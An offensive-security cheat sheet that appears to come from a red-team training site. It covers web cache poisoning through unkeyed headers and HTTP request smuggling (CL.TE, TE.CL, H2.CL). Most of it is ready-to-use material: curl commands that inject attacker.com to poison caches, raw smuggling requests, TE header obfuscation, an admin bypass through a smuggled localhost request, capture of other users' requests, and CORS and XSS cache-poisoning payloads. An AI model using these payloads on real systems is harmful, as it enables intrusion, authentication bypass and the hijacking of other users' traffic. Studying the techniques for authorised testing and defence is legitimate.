



◆ OFFENSIVE SECURITY SERIES ◆

WEB CACHE POISONING & HTTP DESYN

Unkeyed Headers, CL.TE & TE.CL Smuggling

Unkeyed Headers · Cache Deception · CL.TE · TE.CL · H2.CL · Bypass

Cache Poisoning

Unkeyed Headers

Param Miner

CL.TE

TE.CL

H2.CL

Cache Deception

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

WEB CACHE POISONING & HTTP DESYNC — Unkeyed Headers, CL.TE & TE.CL Smuggling

01.	CACHE POISONING — UNKEYED HEADERS & PARAM MINER
02.	HTTP REQUEST SMUGGLING — CL.TE, TE.CL & ADMIN BYPASS
03.	CACHE POISONING & SMUGGLING CHEAT SHEET



01 — CACHE POISONING

Unkeyed Inputs & Param Miner

Web cache poisoning exploits unkeyed inputs — headers/params that affect the response but aren't in the cache key. Inject malicious values → response cached → served to all users.

```
Cache Poisoning – Unkeyed Headers & Param Miner

# Find unkeyed inputs – Param Miner (Burp extension)
# Right-click request → Extensions → Param Miner → Guess headers
# Manual – test common unkeyed headers
curl https://target.com/ -H 'X-Forwarded-Host: attacker.com' | grep attacker
# Common unkeyed headers:
# X-Forwarded-Host X-Forwarded-Scheme X-Original-URL
# X-Host X-Forwarded-For Origin User-Agent
# Check if response is cached
curl https://target.com/ -v 2>&1 | grep -i 'x-cache\|age:'
# X-Cache: HIT = cached!
# Poison cache via X-Forwarded-Host
curl https://target.com/ -H 'X-Forwarded-Host: attacker.com'
# Verify – request without header
curl https://target.com/ | grep attacker
# If attacker.com in response → cache poisoned!
```

Figure: Param Miner finds X-Forwarded-Host unkeyed, cache poisoned with attacker.com JS src



02 — HTTP REQUEST SMUGGLING

CL.TE, TE.CL & Access Bypass

HTTP request smuggling exploits disagreement between front-end and back-end about where HTTP requests end. CL.TE: front-end uses Content-Length, back-end uses Transfer-Encoding.

```
HTTP Request Smuggling – CL.TE, TE.CL & Bypass

# CL.TE timing detection (Burp Repeater – disable auto Content-Length)
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
# 10+ second timeout = CL.TE vulnerable (back-end waits for 0-chunk)

# CL.TE exploit – smuggle prefix to next user
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# TE.CL – obfuscate TE header
Transfer-Encoding: xchunked
Transfer-Encoding : chunked # space before colon

# Bypass admin panel via smuggling
# Smuggle: GET /admin HTTP/1.1\r\nHost: localhost
# Back-end sees request from localhost → grants access

# Burp HTTP Request Smuggler extension
# Right-click → Extensions → HTTP Request Smuggler → Launch Smuggle Probe
```

Figure: CL.TE smuggling prepends GET /admin Host:localhost to next user's request — auth bypass



03 — CHEAT SHEET

Quick Reference

Find unkeyed inputs	Burp Param Miner → right-click → Guess headers + params
Check cache	<code>curl https://target.com/ -v 2>&1 grep -i 'x-cache\ age:'</code> (HIT = cached)
X-Forwarded-Host test	<code>curl https://target.com/ -H 'X-Forwarded-Host: attacker.com' grep attacker</code>
Poison cache	Inject XSS via reflected unkeyed header → send again without header → verify cached
UTM param poisoning	?utm_content=alert(1) (often unkeyed but reflected)
Cache deception	Visit /account/fake.css → server returns /account data → cache stores it as static
Detect CL.TE	Transfer-Encoding: chunked + Content-Length: 4 + incomplete chunk → 10s+ timeout
Detect TE.CL	Transfer-Encoding: chunked + Content-Length: 6 + 0\r\n\r\nX → front-end timeout
CL.TE exploit	POST with CL:13 + TE:chunked, body=0\r\n\r\nSMUGGLED
TE obfuscation	Transfer-Encoding: xchunked OR Transfer-Encoding : chunked (space)
H2.CL exploit	HTTP/2 POST with Content-Length: 0 and SMUGGLED in body
Burp smuggler	Right-click → Extensions → HTTP Request Smuggler → Launch Smuggle Probe
Bypass admin	Smuggle: GET /admin HTTP/1.1 Host: localhost (bypasses external IP restriction)
Capture requests	Smuggle POST to comment endpoint, large CL – victim's next request appended as body
Cache+smuggle	Smuggle GET to poisoned URL → cached response served to all that URL's visitors
CORS cache poison	Origin: https://evil.com reflected and cached → all users get evil CORS header
Fat GET	GET with body – cache keys URL but server processes body
X-Forwarded-Scheme	X-Forwarded-Scheme: nohttps + X-Forwarded-Host: attacker.com → redirect poisoned



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.